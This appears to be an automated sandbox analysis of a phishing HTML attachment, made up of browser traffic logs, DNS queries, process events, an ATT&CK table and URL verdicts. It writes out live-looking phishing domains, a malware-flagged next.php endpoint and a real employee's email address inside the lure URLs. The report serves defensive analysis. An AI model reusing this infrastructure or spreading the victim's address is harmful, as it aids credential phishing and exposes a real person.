Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5981999647-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5981999647-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5981999647.bureaubusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5981999647.bureaubusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5981999647.bureaubusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5981999647.bureaubusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5981999647.bureaubusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.com HTTP/1.1Host: ahtbuildingservices.com.auConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ahtbuildingservices.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.comAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.com HTTP/1.1Host: ahtbuildingservices.com.auConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.comAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ahtbuildingservices.com.au
Source: global traffic	DNS traffic detected: DNS query: jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5981999647-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 5981999647.bureaubusinesslawyer.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1943824874:1739795386:_kkzkTyYJ0FrfPDBOiWBmY2M4aUfhhRFIBrFUaWGHSk/91361dc9ed8ade99/6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3669sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: text/plain;charset=UTF-8cf-chl: 6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTacf-chl-ra: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Feb 2025 13:27:43 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400cf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xaQoK%2BAaNmR2%2B%2FO4H2e07D7%2B%2FbSpXA4Gc%2BZnVuZMHo9kylOUzUdxgfyraEnLB8NXLYYUbc76%2FPiEfmhiDEaPw8bO6MleznoBS8Vf1lAj0ZqJSjsVgzrZeHDbDk2NOHHhnNgtr2cSII4xNyu6KaEYGUczjRybL90%2BpkangLAlsOLmxaOPvhrotJd3k4cDzr41G%2BExpQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 91361dd1f87d72b6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2048&min_rtt=2046&rtt_var=772&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2911&recv_bytes=1346&delivery_rate=1414043&cwnd=240&unsent_bytes=0&cid=c6143efe5c169c2c&ts=4170&x=0"

Source: Attach1.htm	String found in binary or memory: http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund
Source: chromecache_121.2.dr, chromecache_111.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_126.2.dr, chromecache_105.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_107.2.dr, chromecache_99.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_126.2.dr, chromecache_105.2.dr, chromecache_107.2.dr, chromecache_99.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_126.2.dr, chromecache_105.2.dr, chromecache_107.2.dr, chromecache_99.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal88.phis.evad.winHTM@29/49@50/22

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Attach1.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2312,i,14140451099508298716,2308933529325916182,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2312,i,14140451099508298716,2308933529325916182,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

HTTP Parser: https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund	0%	Avira URL Cloud	safe
http://ahtbuildingservices.com.au/favicon.ico	0%	Avira URL Cloud	safe
https://5981999647-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/favicon.ico	0%	Avira URL Cloud	safe
http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.com	0%	Avira URL Cloud	safe
https://5981999647.bureaubusinesslawyer.com/next.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
